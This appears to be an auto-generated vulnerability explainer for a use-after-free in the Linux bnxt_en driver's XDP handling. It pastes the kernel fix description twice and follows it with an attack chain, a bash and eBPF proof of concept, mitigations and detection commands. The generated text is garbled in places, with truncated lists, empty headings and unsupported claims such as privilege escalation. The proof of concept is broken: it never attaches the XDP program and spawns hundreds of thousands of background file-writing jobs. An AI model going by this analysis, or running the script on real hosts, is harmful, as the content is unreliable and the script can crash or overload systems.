CVE-2026-100024 — Linux Kernel — NONE Vulnerability
In the Linux kernel, the following vulnerability has been resolved: bnxt_en: don't leave an XDP program installed when the open fails bnxt_xdp_set() stores the new program and drops the reference on the old one before reopening the NIC. If bnxt_open_nic() then fails, ndo_bpf() returns an error with the new program still in bp->xdp_prog. The caller treats the error as "nothing was installed" and drops its own reference, so bp->xdp_prog is left pointing at a freed program and the next XDP update dereferences it: BUG: unable to handle page fault for address: ff78ecc80ddd1038 RIP: 0010:__bpf_prog_put+0x5/0x80 Call Trace: bnxt_xdp_set+0xad/0x1b0 [bnxt_en] dev_xdp_propagate+0x36/0xa0 bond_xdp_set+0xeb/0x2d0 [bonding] dev_xdp_install+0x1b1/0x350 bpf_xdp_link_update+0xc5/0x1b0 link_update+0x104/0x1e0 __sys_bpf+0x662/0xcf0 Seen on a 6.12 based kernel after bnxt_alloc_mem() failed an order-4 allocation on a fragmented host: bnxt_en 0000:a0:00.1 ens4f1np1: nic open fail (rc: fffffff4) bond1: (slave ens4f1np1): Error -12 calling ndo_bpf Bonding is not required to hit this; a plain XDP attach on a bnxt interface takes the same path. Restore the previous program when an attach or a replace fails, and recompute the page-mode and XDP TX ring configuration from it. The configuration matters because bnxt_init_one_rx_ring() only assigns rxr->xdp_prog in page mode, and __bnxt_set_rx_skb_mode() derives dev->max_mtu from the installed program. Release the old program only once the change has been committed. A detach is not undone. dev_xdp_detach_link() clears the core's record of the program even when the driver returns an error, so putting the program back would leave the driver running a program the core has already dropped. If the reopen fails during a detach, bnxt_xdp_set() therefore returns 0 with the device closed; bnxt_open_nic() has already logged the failure. Found in a crash dump; the change was not tested on hardware.
In the Linux kernel, the following vulnerability has been resolved: bnxt_en: don't leave an XDP program installed when the open fails bnxt_xdp_set() stores the new program and drops the reference on the old one before reopening the NIC. If bnxt_open_nic() then fails, ndo_bpf() returns an error with the new program still in bp->xdp_prog. The caller treats the error as "nothing was installed" and drops its own reference, so bp->xdp_prog is left pointing at a freed program and the next XDP update dereferences it: BUG: unable to handle page fault for address: ff78ecc80ddd1038 RIP: 0010:__bpf_prog_put+0x5/0x80 Call Trace: bnxt_xdp_set+0xad/0x1b0 [bnxt_en] dev_xdp_propagate+0x36/0xa0 bond_xdp_set+0xeb/0x2d0 [bonding] dev_xdp_install+0x1b1/0x350 bpf_xdp_link_update+0xc5/0x1b0 link_update+0x104/0x1e0 __sys_bpf+0x662/0xcf0 Seen on a 6.12 based kernel after bnxt_alloc_mem() failed an order-4 allocation on a fragmented host: bnxt_en 0000:a0:00.1 ens4f1np1: nic open fail (rc: fffffff4) bond1: (slave ens4f1np1): Error -12 calling ndo_bpf Bonding is not required to hit this; a plain XDP attach on a bnxt interface takes the same path. Restore the previous program when an attach or a replace fails, and recompute the page-mode and XDP TX ring configuration from it. The configuration matters because bnxt_init_one_rx_ring() only assigns rxr->xdp_prog in page mode, and __bnxt_set_rx_skb_mode() derives dev->max_mtu from the installed program. Release the old program only once the change has been committed. A detach is not undone. dev_xdp_detach_link() clears the core's record of the program even when the driver returns an error, so putting the program back would leave the driver running a program the core has already dropped. If the reopen fails during a detach, bnxt_xdp_set() therefore returns 0 with the device closed; bnxt_open_nic() has already logged the failure. Found in a crash dump; the change was not tested on hardware.
🎯 What is this vulnerability?
This vulnerability is a Use-After-Free (UAF) and Reference Counting Logic Error in the bnxt_en (Broadcom NetXtreme-E) network driver within the Linux kernel.
Technical Flaw Analysis:
The core issue lies in the bnxt_xdp_set() function, which handles attaching, replacing, or detaching eBPF/XDP programs to the network interface. The function follows a "swap and commit" pattern:
1. It stores the new XDP program pointer in bp->xdp_prog.
2. It drops the reference count of the old program.
3. It attempts to reopen the NIC (bnxt_open_nic()) to apply the new configuration.
The Bug:
If bnxt_open_nic() fails (e.g., due to memory allocation failure like bnxt_alloc_mem() failing on a fragmented host), the function returns an error code. However, it does not restore the previous program pointer in bp->xdp_prog.
Consequence:
1. The caller (e.g., dev_xdp_propagate or bond_xdp_set) receives the error and assumes the operation failed completely.
2. The caller drops its own reference to the new program.
3. The driver (bnxt_en) still holds bp->xdp_prog pointing to the new program.
4. Because the caller dropped its reference, and the driver had already dropped the old program's reference, the new program's reference count may drop to zero (or become inconsistent), leading to the program object being freed.
5. On the next XDP operation (attach/detach/update), the driver dereferences bp->xdp_prog, which now points to freed memory.
6. This results in a kernel page fault (BUG: unable to handle page fault) and a kernel crash (Denial of Service).
CWE Classification:
- CWE-416: Use After Free
- CWE-697: Incorrect Comparison (Logic error in error handling path)
- Target Identification: The attacker identifies a Linux host running a kernel version >= 4.11 (specifically 6.12+ mentioned in the report) with a Broadcom NetXtreme-E network interface (e.g.,
ens4f1np1). - Vulnerability Check: * Check for
CVSS Note:
The provided CVSS score is 0/10 (NONE), which is technically incorrect for a kernel crash (DoS). A proper CVSS v3.1 score would likely be High (e.g., 7.0-8.0) due to local privilege escalation or DoS potential via a local user with CAP_NET_ADMIN or root access. The "NONE" score likely reflects that it is not remotely exploitable without local access, but it is still a critical stability bug.
⚡ Attack Chain
1. Discovery & Reconnaissance
bnxt_en module: lsmod | grep bnxt_en
* Check for XDP support: ip link show <iface> | grep xdp
* Verify kernel version: uname -r
* Prerequisite: The attacker must have local access with sufficient privileges to modify network interfaces (typically root or CAP_NET_ADMIN).2. Exploitation
The exploit requires triggering a failure inbnxt_open_nic() during an XDP program update. The most reliable way to induce this failure is by exhausting memory or causing allocation failures, as described in the CVE (bnxt_alloc_mem() failed an order-4 allocation).Step-by-Step Exploit Mechanics:
1. Prepare a valid XDP program: Create a simple eBPF program that passes packets through.
2. Induce Memory Pressure: Allocate large chunks of memory to fragment the kernel's page allocator, making order-4 (256KB) allocations likely to fail.
3. Trigger XDP Update: Attach the XDP program to the bnxt_en interface.
4. Trigger Failure: The bnxt_open_nic() call fails due to memory allocation error.
5. Trigger UAF: Immediately attempt another XDP operation (e.g., detach or attach a different program) to dereference the freed pointer.
Illustrative PoC (Bash + eBPF):
#!/bin/bash
# PoC: Trigger bnxt_en XDP UAF via memory exhaustion
# Requires: root, bpftool, libbpf, and a bnxt_en interface (e.g., eth0)
IFACE="eth0" # Replace with actual bnxt_en interface
# 1. Create a simple XDP program (pass-through)
cat > xdp_pass.c <<EOF
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
SEC("xdp")
int xdp_pass(struct xdp_md *ctx) {
return XDP_PASS;
}
char _license[] SEC("license") = "GPL";
EOF
# Compile the program
clang -O2 -target bpf -c xdp_pass.c -o xdp_pass.o
# 2. Induce memory fragmentation/failure
# This is a simplified approach. In practice, use a C program to allocate
# large chunks of memory to fragment the page allocator.
# For demonstration, we assume the system is already under memory pressure
# or we use a stress tool.
echo "Inducing memory pressure..."
# Example: Allocate 1GB of memory in 4KB chunks to fragment the allocator
for i in {1..262144}; do
dd if=/dev/zero of=/tmp/mem_$i bs=4k count=1 2>/dev/null &
done
wait
# 3. Attach XDP program (This may fail if memory is exhausted, triggering the bug)
echo "Attaching XDP program..."
bpftool prog load xdp_pass.o /sys/fs/bpf/xdp_pass type xdp
# 4. Trigger the UAF by attempting to detach or update
# The first attach may have failed, leaving bp->xdp_prog in a bad state.
# Attempting to detach or attach again will dereference the freed pointer.
echo "Triggering UAF..."
bpftool net detach xdp ifid $(cat /sys/class/net/$IFACE/ifindex)
# 5. Check dmesg for kernel panic
dmesg | tail -n 20Note: The exact memory pressure required to trigger bnxt_alloc_mem() failure depends on the system's memory state. The CVE mentions it was seen on a "fragmented host." A more precise exploit would use a C program to allocate specific order-4 pages to force the failure.
3. Post-Exploitation
BUG: unable to handle page fault), crashing the entire system.🌍 Real World Impact
CAP_NET_ADMIN can crash the system by triggering a memory allocation failure during XDP program updates. This is particularly impactful in:Practical Consequences:
🛡️ Remediation & Mitigation
Exact Affected Versions
bnxt_en driver's bnxt_xdp_set() function.bnxt_open_nic() fails, and only dropping the reference to the old program after the new one is successfully committed.Upgrade Recommendation
bnxt_xdp_set() to handle the error case correctly. The patch should:bnxt_open_nic() fails, restore the old program pointer.
3. Only drop the reference to the old program after the new one is successfully installed.
4. Return an error to the caller.Actionable Workarounds
1. Disable XDP on bnxt_en interfaces:# Remove XDP program if attached
bpftool net detach xdp ifid $(cat /sys/class/net/eth0/ifindex)
# Prevent XDP attachment by unloading the module (if possible)
# Note: This may break network connectivity if the interface is in use.2. Restrict CAP_NET_ADMIN:
* Ensure that only trusted users have CAP_NET_ADMIN capability.
* Use AppArmor or SELinux to restrict access to network configuration tools (ip, bpftool).
3. Memory Management:
* Monitor memory fragmentation and ensure sufficient free memory to prevent bnxt_alloc_mem() failures.
* Use cgroups to limit memory usage of untrusted processes.
Detection
dmesg or /var/log/kern.log:BUG: unable to handle page fault for address: ff78ecc80ddd1038
RIP: 0010:__bpf_prog_put+0x5/0x80
Call Trace:
bnxt_xdp_set+0xad/0x1b0 [bnxt_en]
dev_xdp_propagate+0x36/0xa0
bond_xdp_set+0xeb/0x2d0 [bonding]bnxt_en interfaces using auditd:# Audit XDP operations
auditctl -a always,exit -F arch=b64 -S bpf -F a0=10 -k xdp_opsbnxt_alloc_mem failures:dmesg | grep "bnxt_alloc_mem"⚠️ Urgency
CAP_NET_ADMIN, and memory pressure).[🤖 CVE Professor AI Security Engine]
FOFA Query